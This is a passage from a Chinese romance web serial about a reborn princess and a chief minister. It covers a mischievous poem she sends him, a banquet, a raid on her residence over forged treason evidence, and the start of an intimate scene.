随即,有人连忙附和:“就是,谁要是给我八十万两白银,我愿意带着全家老小都去入赘!” “嘁,你这胡子拉碴,脚还臭,睡觉还磨牙,谁看得上你……” 吴萸语气嘲讽,差点翻白眼。 此话一出,惹得众人哄堂大笑。 幕僚闫闻书摸了摸下巴,一脸严肃的对晏骁寒道:“这么一比巨额财宝,估计现在长公主肠子都悔青了,大人还是想办法尽快把这些钱花出去,省的长公主回过味来再上门讨要。” “花什么花,你不知道吗,咱们大人收了人家的聘礼,将来嫁过去,那还是要带回公主府的。” 一个‘嫁’字,让众人差点憋出内伤,哭笑不得。 晏骁寒冷眼扫过去,所有人当即闭嘴,哪怕笑到一半的,也连忙把嘴闭上了。 闫闻书听了顿时变了脸色:“所以,大人您当着那么多人的面收了长公主的聘礼,让那么多人看您的笑话,最后还得把那些聘礼还回去,这……这不是得不偿失么?” 第129章 写淫诗 晏骁寒翻阅桌案上的折子,语气冷了几分:“本官请你们来,不是让你们看本官的热闹的,除了北赫,其他几国使臣来也各怀心思,伊吾借粮,琉球借兵,西梁求药,蒙古要用牲畜换粮食果蔬,你们好好想想,在有利于东陵的情况下,该如何解决这些事情。” 书房里,一阵沉默。 “大人,长公主府来人了。”门外,离夜的声音打破了书房的安静。 众人瞪大眼睛,面面相觑。 这么晚了,慕馨宁的人来干什么,不会是现在就反悔了,想要将那比巨额聘礼讨要回去吧? “何事?”晏骁寒掀开面前的茶盏盖子,喝了口茶。 刘营的声音就响了起来:“我们殿下说了,深夜孤枕难眠,又对大人十分思念,所以特意为大人作了一首诗。” 除了晏骁寒外,书房所有人大气都不敢喘,此时此刻,他们当然不是惧怕晏骁寒的威严,而是都屏住呼吸、竖起了耳朵,想听长公主作的诗。 闫闻书捏紧手里的孔雀扇,忽然有种不好的预感,这二人还未成婚,又是孤枕难眠又是什么思念的,哪家待字闺中的千金能说出如此厚颜无耻的话? 这长公主作的诗,估计是不堪入耳吧? 可是别人不是这么想的,通过之前接风宴上的歌舞表演,好些人都觉得慕馨宁是个十分有才情的女子。 如今外头都传言,下一轮的才女评选,取南阳郡主而代之的,估计是长公主了。 长公主的诗,定也是传世佳作吧。 不等闫闻书说什么,晏骁寒就已经开口:“念。” 白日里这女人虚情假意的给他下聘,现在又为他作诗,真是稀奇。 他倒是要听听,这虚情假意之人做出来的诗,有多深情。 刘营当即从身上掏出写好的字条,当他借着微弱的光线看清上面的字之后,黝黑的脸色瞬间浮现一抹诡异的红。 他长长的吐了一口气,心里十分后悔。 这给长公主跑腿的事情原本他是手下的小弟办的,他担心手底下的人办不好长公主交代的事,就想着亲自来跑一趟,顺便消消食。 现在别提消食了,他都被恶心的快吐了。 “干什呢,想不想活了,没听首辅大人说让你快些念么?” 隔着紧闭的紫香楠雕花门,里头响起吴萸的声音。 刘营更是有些难堪,里头竟然还有外人? 这首诗要是当着外人的面念出来,他一百个脑袋都不够晏骁寒砍的。 “那个,首辅大人,不如您亲自看吧。”刘营将手里的字条递给离夜。 离夜没接,眼神里都是警告:“让你念,你听不见?” 刘营心一横,只能清了清嗓子:“铺翠被,羞杀鸳鸯对。犹忆当时叫合欢,而今独覆相思袂。铺翠被,待君睡……” “啊噗……”吴萸刚要咽下的茶,一下子喷了出来,鼻孔里还喷出来一片茶叶。 他不可置信的环顾众人:“什么意思?” 是他理解的那个意思吗,是字面上的那个意思吗。 当着这么多人的面,长公主竟然邀请晏骁寒去跟她一起睡? 天啊,一道雷劈死他吧! 众人也是差点惊掉下巴,不止震惊,更多的是害怕,首辅大人不会把他们都灭口吧? 众人都瞪大眼睛,朝着晏骁寒的方向看去,就见晏骁寒原本冷峻的脸上已经是杀气腾腾。 晏骁寒紧握的拳头,已经骨节泛白、青筋暴起:“散了吧。” 话落,众人落荒而逃,仿佛要是晚跑一步,就能丢了性命似的。 随即,身后又响起即墨凉嗖嗖的声音:“今日之事,若是走漏半点风声,大人定要了你们的脑袋!” 话虽然这么说,但是即墨也要羞死了。 这辈子,他最骄傲的事情就是跟在大人身边。 现在,他最羞耻的事情,就是未来的当家主母,是个写淫诗的! 在众人还没跑出去之前,刘营先跑了。 晏骁寒到公主府的时候夜色已深,公主府一片安静。 而屋顶上,却有个人影拎着酒坛在喝酒。 玄翎原本心情就很糟糕,在看见晏骁寒之后,简直是糟糕透顶。 他拎着酒坛,轻身一越,就到了晏骁寒跟前:“听说你文武双全,不如我们比一场?” 晏骁寒负手而立:“本官为什么要与你比?” 玄翎不答,酒坛子一丢,朝着晏骁寒就冲了过来,晏骁寒轻点脚尖,人便轻易躲开了玄翎的攻击。 天空泛起鱼肚白时,一个修长挺拔的人影朝着慕馨宁走来。 晏骁寒已经换了一身衣衫,墨发上还有水珠滚落。 床上的慕馨宁睡的并不安稳,她又做了噩梦。 梦里,她被捆在铁架子上,浑身是血,一块泛着红光的烙铁,落在她血肉模糊的身体上。 “不要……杀了你……我要杀了你……” 晏骁寒脚步一顿,心思微动。 他缓缓弯腰,低声问道:“你想杀了谁?” 问出这句话的时候,他眉头不由得皱紧,心头一紧,生怕慕馨宁会说出自己的名字。 慕馨宁额头都是冷汗,头发也被汗水浸湿,她紧紧揪着身上的被子,咬牙切齿:“杀了你……我要杀了你……老妖婆……” 晏骁寒紧皱的眉头瞬间松开,心里也似乎松了一口气。 他缓缓取出身上的帕子,动作轻柔的为慕馨宁擦拭额头的冷汗。 慕馨宁睫羽微动,感受到额头的触碰,渐渐从梦境中抽离。 她忽然察觉到陌生又熟悉的气息猛然睁眼,眼里都是惊恐。 “是我。”晏骁寒收起帕子,轻声道。 对上那双深邃的眸子,慕馨宁有些呆滞。 晏骁寒重新替她盖好被子,然后转身关上了最近的那扇窗。 “你怎么在这里?”许久,慕馨宁才缓过神来。 “不是你让我来的?”他语气中,带了几分隐忍。 第130章 廉价的爱意 慕馨宁坐起身努力想了想,然后又看了看外头的天色:“这天都快亮了,你怎么现在才来?” 还洗了澡,该不会是跟别的女人厮混一整晚吧,那个女人是谁,赫连伊? 晏骁寒想起玄翎,眸色微闪:“刚处理完公务。” 慕馨宁扯着人坐在她床边,想起刘营从晏骁寒那里跑回来时,一脸担忧的的恳求她定要保住他的命,她差点就笑出声来。 “昨晚我给你写的诗,怎么样?” 晏骁寒有些咬牙切齿,恨不得捏断慕馨宁的脖子:“你还有脸问,本官的脸都被你给丢尽了!” 慕馨宁现在也觉得玩笑开的有点大,她那时候也是气急了。 “那,我想想法子,定要帮你找回面子才是。” 不等晏骁寒开口,慕馨宁打了个哈欠,将身子又往里挪了挪:“睡么?” 晏骁寒:“……快上朝了。” 天色渐亮,太阳还没升起,即使到了盛夏,清晨还是有些凉意。 早朝还没等开始,晏骁寒就在金銮殿门口遇见了赫连伊。 赫连伊眼睛通红,人也很是憔悴:“晏首辅,你说实话,是不是慕馨宁逼迫你,你才不得不答应入赘公主府的?” 不然,一人之下万人之上的首辅大人,怎么会甘愿做上门女婿? 只要晏骁寒说是,那她一定要请皇上为他们二人做主,狠狠治慕馨宁的罪。 晏骁寒理了理朝服的衣领,看也不看赫连伊,语气也很是冷淡:“本官有必要与你多说?” 赫连伊的眼泪在眼眶里打转:“你不会是因为不想与我联姻,所以才想入赘的吧?” 晏骁寒沉默。 赫连伊还想追问,即墨连忙走近:“大人,皇上马上就到了,您该进去了。” 今日早朝,说的就是北赫公主与东陵联姻之事。 原本,所有人都觉得,既然事情发展到这种地步,晏骁寒是一定要娶赫连伊的,哪怕不与慕馨宁取消婚约,也会娶赫连伊做平妻。 可偏偏,晏骁寒却答应了慕馨宁,入赘公主府。 就算晏骁寒愿意娶赫连伊过门,愿意带着赫连伊一起入赘公主府,就算慕馨宁也不反对,但是北赫也是要脸的,赫连伊也是要脸的。 “宣北赫公主,赫连伊觐见……” 赫连伊不知道在金銮殿门口站了多久,贵公公的声音在大殿回响时,她才一身华服走了进去,举手投足间都是端庄优雅。 文武百官有些移不开眼,这北赫的公主长得真是国色天香,若是能抱得美人归,此生也算圆满。 不等永平帝问赫连伊对两国联姻的看法,赫连伊郑重其事的跪在地上:“皇上,赫连伊愿意入宫为妃,常伴君侧。” 金銮殿里鸦雀无声,众人脸上都是震惊。 这之前赫连伊还以死相逼,非要嫁给晏骁寒,如今竟然就改变了主意? 不过赫连伊也必须要改变主意,难道她还要与晏骁寒一起,屈尊降贵入赘公主府不成? 首位上的永平帝内心复杂,他转了转手上的扳指:“既然北赫公主有此意,那朕就封北赫公主为柔妃,赐馥香宫。” 虽然赫连伊的名声已经受损,虽然永平帝颜面无光,但是事情总要往长远了想。 北赫国能带给东陵的好处,那不是轻易就能衡量的。 永平帝环顾金銮殿上的文武百官:“有事启奏,无事退朝。” 文武百官再无一人出声。 “退朝……”贵公公的声音响起,文武百官结伴往外走。 众人刚出门口,就看见了刘营的人影。 “你怎么又来了?” 吴萸本来是个八品礼部主事,虽然他并没有资格出现在金銮殿上,但是也在宫中处理招待各国使臣的一切事宜。 看见刘营,他连忙小跑过来,想起昨夜的是,是又后怕,又期待。 后怕自己被晏骁寒灭口,又期待慕馨宁是不是又写了黄诗。 果然,就听刘营高声道:“首辅大人,我家长公主给首辅大人作诗一首!” 正下汉白玉台阶的文武百官们差点没摔个跟头,这赫连伊刚入皇上后宫,长公主就来金銮殿示威来了? 即墨脸色大变,连忙上前,压低了声音:“什么诗不诗的,等大人出了宫再说不行?” 这么多人都在,刘营还说的这么大声,是真怕自家主子不够丢人是不是? 刘营根本不理会即墨,昨夜那首诗他不想念,一个个的都逼着他念。 今天长公主特意交代,必须让他当着文武百官跟前念,不念都不行。 哎,长公主真会玩儿。 刘营从身上摸出那张字条,看也不看晏骁寒一眼。 也不管晏骁寒高兴不高兴,也不管自己丢不丢性命,办好了长公主的交代才是关键。 “伫倚危楼风细细,望极夏愁,黯黯生天际。草色烟光残照里,无言谁会凭阑意。拟把疏狂图一醉,对酒当歌,强乐还无味。衣带渐宽终不悔,为君消得人憔悴。” 晏骁寒面若寒霜,手早就搭在了腰迹。 如果这首诗但凡有一个字冒犯他,他不介意在这金銮殿前让刘营血渐当场。 待刘营一首诗念完,不等晏骁寒有所反应,那些个文官们已经一个个满脸沉醉。 “好诗……好诗啊!” “精辟,精辟啊,这首诗写的太好了,长公主果然是个才女!” “快,有没有笔,我要把这首诗记下来!” 武官们看着文官们一个个疯癫的模样一脸懵,长公主写的什么玩意,他们怎么听不懂? 晏骁寒难看的脸色刚有所缓和,不等他开口,刘营又跑了,他担心自己不跑,晏骁寒就要杀人了。 他是个大老粗,听不懂这文绉绉的东西,但是后两句的意思他大概明白。 长公主想脱衣服勾引晏首辅,为了晏首富她食不下咽日渐憔悴。 嗯,就是这个意思! 但是怎么感觉,长公主这爱意,表达的很是廉价呢? 第131章 牙拔光 那些个文官学了几篇文章,整日一副清高模样,如今竟然都觉得长公主这诗好,用长公主那话来说,就是‘闷骚’,嗯,太‘闷骚’了。 公主府。 自打慕馨宁起床,到吃早饭,已经打了十几个喷嚏,饭粒差点喷在桌子上。 “主子,您是不是染了风寒,不如请姬神医给您瞧瞧吧。”杜若一边给慕馨宁添茶一边开口。 慕馨宁放下手里的筷子:“没事,府上的赏花宴准备的怎么样了?” 说是赏花,也就府上有两坛虞美人开的正好,本来也不是什么新奇的花种,只是想借着这个‘文雅’的由头请几国使臣来吃顿饭而已,也算尽一尽地主之谊, 候在一旁的杨嬷嬷连忙开口:“长公主放心,正在有条不紊的准备着,老奴盯着呢,绝对不会出差错。” 杜若想起什么:“昨夜虞文茵让人来传话,说是今日要启程去北境了。” 一想到那个令人厌恶的虞文茵竟然能嫁给易王做侧妃,杜若心里一阵感慨,那种上不得台面的坏人,怎么会有这样的好命呢,还是自家主子对她太仁慈了。 慕馨宁点头:“本宫手头不宽裕,但是好歹她现在也算得上本宫的人,银钱上尽量不要亏待她,先给她五千两银子。” 杜若有些不舍:“主子。您忘了她之前怎么算计陷害您的,您不杀了她已经是仁慈了,怎么还要给她那么多钱?” 再说要不是有玄翎,公主府都要揭不开锅了,今日招待达官显贵和各国使臣,还要花不少银子呢。 慕馨宁想想道:“那就暂且给她两千两,等本宫手头宽裕再给她些,再说这些钱也不是白给她花的,她那边顺利一些,本宫也少操一些心。” 杜若点头答应下来。 刘营回来,将赫连伊入宫为妃的事情说了,慕馨宁笑了笑,这件事,虽然是意料之外,但也是情理之中。 晚宴进行的很顺利,因为崔惜颜宋菀菀和南阳郡主等人,但凡跟慕馨宁过不去的,都没有接到慕馨宁的邀请。 晚宴慕馨宁特意请了宫里乐府的人来表演,吃的就是烧烤,除了各种烤串`铁板烧,还有烤鹿肉烤全羊,再加奶茶和各种果汁、冰沙饮品还有新研究出来的‘冰棍儿’,大家吃喝的十分尽兴。 公主府里头欢声笑语,公主府外,宋菀菀捏着帕子,脸上的表情有几分扭曲。 她回头,看向身后的下人:“事情办的怎么样?” 下人屈膝恭敬的答:“罪证已经放到长公主书房。” 宋菀菀冷笑一声:“慕馨宁,你还能嚣张到什么时候,明年的今日就是你的祭日。” 话音落,宋菀菀的身影,就隐没在黑暗中。 公主府里,依旧很是热闹。 伊吾公主的目光一直都在霖州的身上。 慕馨宁可算是情场老手了,怎么会看不出来伊吾公主对霖州的心思。 “长公主,听说早朝的时候您特意为晏首辅作了首诗,长公主文采斐然,不如再让我等开开眼?” 说这话的是姬无忧,但是姬无忧可并不觉得慕馨宁多有才情,没准那首诗是慕馨宁偷的,又或者是命别人写的。 哪个王孙贵族府上还没有几个谋士和几个代笔? 赫连儒尝了一口蒜蓉粉丝生蚝,香的他都有些头昏脑涨:“长公主诗词歌赋信手拈来,不知我们能否有幸欣赏一下长公主的佳作?” 慕馨宁慵懒的坐在首位,目光落在一旁的晏骁寒身上:“你觉得呢?” 晏骁寒不答反问:“你觉得呢?” 慕馨宁一阵无语。 作诗可以勉强,弹唱就算了吧,她又不是歌姬也不是青楼女子。 这时,姬无忧眼里闪过什么,从身上掏出一把五颜六色的石头:“我知道长公主身份尊贵,也不能随便让长公主作诗一手,这是我的一点心意,还请长公主笑纳。” 众人脸色微变,姬无忧让慕馨宁作诗一首本来没什么,可是这一给钱,味道不就变了? 各种颜色的宝石捧到慕馨宁面前,慕馨宁明知道姬无忧是在羞辱她,可是还是抵不住这些宝石的诱惑。 她公主府现在穷的都快叮当响了,这些宝石估计也能卖不少银子吧? “既然西梁皇子这么有钱,走的时候可要当心,若是遇见了什么强盗土匪,就麻烦了。” 晏骁寒语气淡淡,姬无忧已经浑身冒冷汗。 果然是个见色忘义的,为了一个慕馨宁,晏骁寒竟然还想抢劫他么? 也是,上一回晏骁寒让人差点把他扒光,抢劫的事情他又不是没做过。 “多谢晏首辅提点,不过本皇子要是在东陵出了事,这还是需要东陵来负责任才是,西梁无论如何也不会忍气吞声的。”说着,姬无忧郁闷的喝了口酒。 赫连儒挠了挠耳朵,从身上摸了摸,也摸出一沓银票来:“本王没别的意思,实在是钦佩长公主的才情,听说长公主才情出众,也想见识见识,这是本王的一点心意。” 一沓银票递到慕馨宁面前,大概一万五千两。 如果这算是羞辱,那就请在场的诸位尽情的羞辱她吧。 慕馨宁不说话,目光在所有人身上游移。 众人蒙了,长公主这意思是…… 晏骁寒看慕馨宁的面色微冷,低声道:“你是想钱想疯了?” 慕馨宁嘴角撇了撇,若是以前,她断然不会轻易折腰,但是她所有的家底可都进了晏骁寒的库房,她公主府用银子的地方多了。 再说昨日梧州来信,说梧州干旱的厉害,虽然打了几十口井,出水的也就三成,也只能勉强维持百姓们的饮水问题,想要灌溉农田是不可能的。 如今已经过了芒种时节,就算梧州水源充沛,种了庄稼也很难再结粮食了,她还要解决百姓们一年多的温饱问题,没有银子怎么能行? 即使晏骁寒脸色不好,慕馨宁依旧没有理会。 杜若大概猜出了慕馨宁心中所想,于是声情并茂的将梧州的旱灾跟大家简述了一遍,众人们纷纷慷慨解囊。 姬无忧叹了口气,无奈的摇了摇头:“若是长公主没有给晏首辅下那么多聘礼,如今也不至于捉襟见肘,全靠大家施舍。” 慕馨宁有些咬牙切齿,也不知道自己什么时候得罪了这货。 她侧头,压低了声音对鸦羽道:“找个机会,把那小子的牙全给我拔光!” 第132章 谋反罪证 鸦羽感觉压力山大,姬无忧好歹是西梁最受宠的皇子,主子这么做好么? 慕馨宁坐直身子,看晏骁寒的目光满是深情:“情不知所起,而一往情深,问世间情为何物,直教人生死相许。只要骁寒接受了本宫的情意,别说那些个身外之物,本宫就是为了他付出生命,也是心甘情愿。” 众人瞠目结舌。 曾经水性杨花男宠无数的长公主,对晏首辅真的如此情深义重么,为了晏首辅真的洗心革面重新做人了么? 别管真假,就长公主脱口而出的这两句情话,就已经让人感动的想要流泪了。 赫连儒捂着胸口:“怎么有些恶心?” 姬无忧:“本皇子胃有些不舒服,要出去一趟……” 众人:“……” 慕馨宁才不管别人如何想她如何看她,她起身,走到琴案前,随意拨弄琴弦,婉转悦耳的琴声就响了起来。 就因为慕馨宁这句话,众人看晏骁寒的目光就变了。 他们好像在说:长公主对你一片真心,首辅大人您也不缺钱,收了长公主那么多聘礼做什么,快还给她吧,她都打算卖艺了…… 晏骁寒垂下眼帘,这女人如此会演戏,看样子他不但要把之前收她的所有家当还回来,自己也要搭上一大笔财富,才算对得起这女人的‘深情’。 慕馨宁提着裙摆坐下,深情的看了晏骁寒一眼,清了清嗓子,一双素手行云流水般拨弄琴弦,婉转悦耳的声音又响起:“迢迢牵牛星,皎皎河汉女,纤纤擢素手,札札弄机杼……” 就在众人全神贯注看慕馨宁弹奏时,离夜悄无声息的出现在晏骁寒面前,在他耳边低语了几句。 晏骁寒给了离夜一个眼神,离夜当即退了下去。 “终日不成章,泣涕零如雨,河汉清且浅,相去复几许……盈盈一水间,脉脉不得语……” 一首曲毕,众人许久才回神,当即毫不吝啬的对慕馨宁夸赞起来: “长公主果然是才情斐然,这简直就是倾世之作啊!” “就这首词曲将来定会流芳百世,我东陵果然是人才辈出啊!” 慕馨宁被众人的夸赞红了脸,更多的是心虚,果然,做鬼那千百年,也算没白在人世间飘荡。 别人披星戴月煞费苦心钻研出来的佳作,她轻而易举不费吹灰之力的就剽窃了…… 晚宴接近尾声,众人跟晏骁寒和慕馨宁客套两句,便打算告辞。 不等他们走出大门,忽然围上来层层官兵。 众人顿时惊慌起来:“怎么回事,这是要做什么?” 只有晏骁寒,面色如常的站在原地,仿佛一切尽在掌控。 慕馨宁诧异的看了晏骁寒一眼,忽然想到什么,不由得脸色发白。 她已经将全部家当给晏骁寒做了聘礼,手里没钱,权势不多,金矿还在开采,晏骁寒这个时候对她下手,是最合适的时机。 而且。不久前,她还给晏骁寒下聘羞辱,让他入赘公主府,如此,晏骁寒对她下手的理由更充分了。 慕馨宁定了定心神,声音沉闷:“你想怎么样?” 慕馨宁的声音传进他的耳朵,晏骁寒面色一变。 “你觉得,此事,是本官做的?”晏骁寒的脸上,满是嘲讽,更有对慕馨宁的失望。 这个女人说什么喜欢他,说什么愿意为他付出性命,都是骗人的。 危难来临时,她第一个怀疑的,还是他,真是可笑。 慕馨宁心头一紧,当初在妙峰山,她误会晏骁寒杀她的时候,晏骁寒看她时,就是这样的表情。 哪怕现在是误会,可是慕馨宁并没有半点庆幸。 因为她知道,接下来她要面对的,可能比眼前的形式更要严峻,她一而再的误会晏骁寒,晏骁寒会轻易放过她? “抱歉,你和我的账,晚些再算吧。”慕馨宁语气中带了几分恳求,手心捏了把汗。 这时,层层官兵让出一条路,刑部侍郎捧着一卷明黄色的圣旨上前:“长公主,有人弹劾长公主与北赫使臣秘密谋反,皇上下了圣旨,命本官搜查证据。” 慕馨宁接了刑部侍郎的圣旨,笑了一声:“皇兄这速度倒是快,问都不问本宫一声,圣旨都下了。” 刑部侍郎敷衍的朝着慕馨宁行礼:“还请长公主配合。” 慕馨宁回头看了刘营一眼,见刘营脸色不对,她的心沉到了谷底。 她想要拖延时间,让自己人查明情况,可是身边的晏骁寒却已经走向一边:“搜吧。” 慕馨宁心头狠狠抽动一下,晏骁寒如此态度,说这件事跟他没关系,可能吗? 或许这件事不但和晏骁寒有关,没准那所谓罪证,还是出自晏骁寒之手。 有晏骁寒发话,刑部侍郎也不再顾及慕馨宁,带着人就冲进了公主府。 “慢着!”慕馨宁怒喝一声。 刑部侍郎眼里闪过轻蔑:“长公主有何吩咐?” 慕馨宁缓步走到刑部侍郎跟前,目光冰冷的盯着他:“搜查可以,要是弄坏了本宫的东西,本宫要你的狗命!” 刑部侍郎鼻子都要气歪了,这个时候,慕馨宁还在跟他端长公主的架子,等他拿了她造反证据,就是慕馨宁跪下求他,他也不会心软的! 赫连儒眼里闪过什么,手里的折扇有些烦躁的扇了两下,语气不善:“本王还在这里,你们就口口声声说北赫与长公主勾结,若是你们查到证据还好,要是查不到,东陵不给我北赫一个满意的交代,本王不会善罢甘休!” 刑部侍郎拱手,二话没说,沉着脸带人往里走:“搜!” “搜,慢慢搜,本宫不急。” 慕馨宁说完,看向刘营:“派人盯着,本宫府上值钱的东西多了去了,要是少了丢了,本宫可是不会忍气吞声的。” 刘营连忙应声,带着人跟着那些个官兵走了。 刘营给了自己人一个眼神,大家心照不宣。 值钱的东西不都送给晏骁寒做聘礼了,府上哪还有什么值钱的东西,这只是一个幌子而已。 如果这些官兵真找到了什么所谓的罪证,那他们第一时间就要把人灭口,将证据销毁,否则所有人都是死路一条。 第133章 勾住他的脖子 各国使臣等人,都是面面相觑,也没有要离开的意思,都等着最终的结果,说难听了,就是等着看热闹。 片刻,伊吾公主面色凝重的走到慕馨宁跟前,小声安慰:“你别怕,就算发生了最坏的事情,我伊吾也会倾尽全力,保你一命。” 慕馨宁听了,一脸茫然的看向伊吾几个使臣。 上一世她和伊吾皇室没有半点接触,这一世的接触也不多,只打了几个照面而已,这伊吾为什么愿意极力保她? 原本慕馨宁还有些疑惑,当她看见伊吾皇子闪躲的目光之后,大概猜到了什么。 晏骁寒看伊吾皇子的目光,冰冷至极,他眼里闪过一抹杀意。 倒是小看了伊吾皇子,竟然还是个情种。 时间一点一滴过去,刑部侍郎和所有官兵满头大汗,却并未在公主府找到半点所谓的谋反罪证。 刑部侍郎感受到慕馨宁锐利的目光,心慌不已。 所有官兵也等着刑部侍郎的示下,刑部侍郎硬着头皮开口:“定是错过了哪里,继续搜,实在不行,掘地三尺!” 慕馨宁冷笑一声:“刑部侍郎,你这么肯定本宫府上有谋反的罪证,这罪证,该不会是你放的吧?” 刑部侍郎面色微变,皮笑肉不笑的道:“长公主玩笑了,下官再有本事,也请不来皇上的圣旨啊。” 慕馨宁嘴角冷笑,如果这圣旨不是永平帝主动下的,能强迫永平帝下圣旨的人,除了皇后,那就是太后了吧? 刑部侍郎带着人又在公主府搜查了一圈,连公主府的马厩和茅厕都没放过,他们弄得一身臭气,也没查到慕馨宁谋反的半点罪证。 杜若捂着鼻子,指了指大粪坑:“侍郎大人,别的地方都搜了,这粪坑里头是不是也要搜一搜,正巧这大粪也该掏了。” 刑部侍郎脸色发黑的瞪向杜若:“你一个小小丫鬟,竟然敢捉弄本官?” 杜若一脸认真的摇头:“奴婢哪敢,大人别忘了,当初皮大人可是把黄金藏在了茅厕里,万一我们主子造反的证据,就在粪坑里呢?” 围观的人差点笑出声来。 刑部侍郎脸色青白交加,这粪坑掏也不是,不掏也不是。 “走!” 最终,刑部侍郎一无所获。 就在他带着众人准备离开的时候,一群侍卫将众人围了起来。 刑部侍郎面色不好:“下下官奉旨办事,长公主不会责怪下官吧?” 慕馨宁嘴角上扬:“责怪谈不上,不如刑部侍郎把宫里的事情跟本宫和众人讲一讲,怎么着也得让本宫弄清楚整件事的来龙去脉吧?” 刑部侍郎挺了挺弯曲的脊背,然后开口道:“两个时辰前,虞将军的亲卫冒死觐见皇上,将长公主与虞将军密谋联合北赫造反的事情禀报给了皇上。” “本宫与虞放谋反的罪证呢?” 刑部侍郎一脸尴尬:“说是原本入京的亲卫有两个人,长公主与虞将军密谋的罪证在另一个人身上,但是那个人不久前,失踪了,怀疑是长公主您动的手。” 慕馨宁冷笑一声,她从未与虞放商议谋反之事,那所谓的罪证也是假的,估计那幕后主使是担心造假的罪证会被人看穿,所以才找了那么一个借口。 她敛了敛神色,刑部侍郎确实是奉旨办事,如果她当着这么多人的面为难刑部侍郎,估计明日早朝又会有人弹劾她。 “那是谁,劝说皇兄下圣旨来公主府搜查罪证的?” “这……”刑部侍郎一脸为难,担心把人招出来到时候会给自己惹麻烦。 “敢来搜本宫的公主府,让你说句话实都不敢,刑部侍郎就这点胆量,干脆回家种地算了!” 慕馨宁如此让刑部侍郎下不来台,她的人又围着他们不放,刑部侍郎只能实话实说:“华太尉和新上任的苟御史等人,怀疑长公主和虞将军与北赫勾结,所以劝说皇上下旨搜查长公主府。” 这次死谏的,换成了苟御史。 因为之前那位谢御史,动不动就在金銮殿上死谏,虽然人没死,但是脑袋落下的病根,现下正在养病,所以苟御史如今正得盛宠。 慕馨宁嗤笑一声,抬手,府上的侍卫亲兵们当即退下。 慕馨宁板着脸,又对兵部侍郎道:“今日之事让本宫在各国使臣跟前,颜面尽失,本宫不敢与皇上计较,但那污蔑陷害本宫之人,总要给本宫一个交代。” 兵部侍郎很会审时度势,他的语气恭敬几分:“下官定会把长公主的话,带给皇上。” 慕馨宁满意的点头。 “那个既然没什么事,我们也该走了。” “时候不早了,长公主,告辞。” 所有宾客也随着兵部侍郎离开,公主府终于清净下来。 书房。 刘营跪在慕馨宁跟前,一脸愧疚和自责:“殿下恕罪,之前属下们确实发现书房有人影跑了,所以带着人连忙就去追了,属下还没来得及禀报,刑部就来人了。” 慕馨宁脸色不大好看:“公主府的安危是由你来掌管,这次本宫可以不追究,若有下次,自己领罚吧。” 刘营磕头:“是。” 夜已深。 慕馨宁泡在浴桶里,回想着今晚发生的事情。 一开始,兵部侍郎带人来搜查公主府的时候胸有成竹,那他应该是有很大的把握能拿到她造反的罪证,可是那罪证为什么又不翼而飞了? 慕馨宁心里咯噔一下,连忙开口:“鸦羽,晏骁寒是回府了吗?” 好一会,也没有鸦羽的回应,慕馨宁心里有些不安,起身就要穿衣。 没想到在衣架上摸到了一只大手。 慕馨宁吓了一跳:“谁!” 随即,一个修长挺拔的人影从屏风后走了出来。 看见来人那张脸,慕馨宁松了口气:“干什么?” 晏骁寒冷笑,好看的薄唇轻启:“你说做什么,当然要和你算总账。” 他说着,将一个信封丢到了一旁的脚踏上。 距离有些远,慕馨宁伸手,却怎么也够不到。 她低头,看了看浴桶里满满一层花瓣,再看了看晏骁寒,晏骁寒盯着她,一脸兴味,完全没有将信直接递给她的意思。 慕馨宁嗤了一声,直接站起身来。 晏骁寒猝不及防,连忙别过了脸。 慕馨宁取了信封,打开信件,上头赫然是她与赫连儒勾结的罪证。 上面的字迹和她以往很相似,上面还有她长公主的印章。 如果永平帝凭借这个所谓的证据来治罪她,就算她有好几张嘴,也说不清。 如果太后又适时对她落井下石,那她离被幽禁,就不远了。。 所以,晏骁寒是帮了她,而她,却误会了他。 看着晏骁寒冷若冰霜的俊脸,慕馨宁迟疑片刻,直接从浴桶出来,赤着脚,走到他面前。 看见眼前一片白皙,晏骁寒还想躲避。 可是慕馨宁却勾住了他的脖子,将身子紧紧贴在他胸膛:“是我误会了你,你说,我该如何报答你?” 第134章 中毒 晏骁寒冷笑一声,语气中满是嘲讽:“不敢,下次长公主再遇见危难,不要以为是本官害你就好了。” 慕馨宁笑着不说话,抬头在他唇角轻轻啄了一下。 原本晏骁寒怒火中烧,想要好好教训这女人一顿,可是感受到唇角残留的温热,火气一下子就没了,竟然还有了那种渴望。 慕馨宁踮起脚尖,就要再次吻在他的唇上,晏骁寒还保持着最后一丝骄傲,冷着脸躲开。 慕馨宁声音中带了几分委屈:“为了你,我都已经倾家荡产在晚宴上卖艺了,如今除了以身相许,也没有别的办法报答你的恩情。” 她眼里闪过落寞:“既然你嫌弃我,那就算了吧……” 说着,慕馨宁转身穿衣,晏骁寒的大手,忽然揽住了她的腰。 他的胸膛贴在她还挂着水珠的脊背上,下巴埋在她的颈窝:“本官应该庆幸,这次没有刺客,否则真担心长公主再捅本官一刀。” 旧事重提,晏骁寒语气中满是委屈和嘲弄。 慕馨宁只觉得有些无地自容,若是那次,晏骁寒就那么死了,不说她对晏骁寒是否亏欠,对天下百姓确是没法子交代的。 她转过身,两只手紧紧的抱住他的腰,将脸埋在他的胸膛,长长的吸了口气:“对不起……” 她一而再的误会晏骁寒,晏骁寒没有与她闹翻,她终于是松了一口气。 可是,没有人知道她的经历,没有人体会过她在深渊中挣扎的痛苦,危难来临时,她该如何相信,最可疑的人是善良的? “就因为本官收了你的天价聘礼,所以你就怀疑本官想来个抽薪止沸,斩草除根?” 慕馨宁沉默。 “本官想杀你,当初为何在马场救你?” 晏骁寒的大手捏着她的下巴,那张素颜如雪的脸,尽收眼底。 慕馨宁紧紧抱着他:“你想怎样?” 晏骁寒忽然弯腰,慕馨宁整个人腾空而起。 男人动作粗鲁的将她丢在床上,慕馨宁当然不会挣扎,只是她一丝不挂,感觉尴尬无比。 晏骁寒动作缓慢的脱衣,一双眼睛不停在她的身上游移,慕馨宁脸红,想要扯过一旁的被子,却直接被晏骁寒丢到了一边。 慕馨宁咬唇,她怎么能任人宰割呢,她得主动不是。 于是,她扑到男人怀里,便吻向了他的脖颈。 晏骁寒脱衣的动作一顿,整个人紧绷起来。 “我帮你。”她的吻蜻蜓点水的落在他的唇瓣,然后亲自替晏骁寒脱衣服。 男人身体的血液在逐渐沸腾,他的呼吸越来越粗重。 “这么慢。” 他似乎是在抱怨,随即将面前的人一把推倒在床,便欺身而上。 房间里迅速升温,慕馨宁一边迎合着他的索取,也没忘了脱他的衣服。 在她的手伸向他的下腰时,忽然感觉到了一片黏腻。 慕馨宁原本没有多想,可是似有若无的血腥气萦绕鼻尖,她脸色一变。 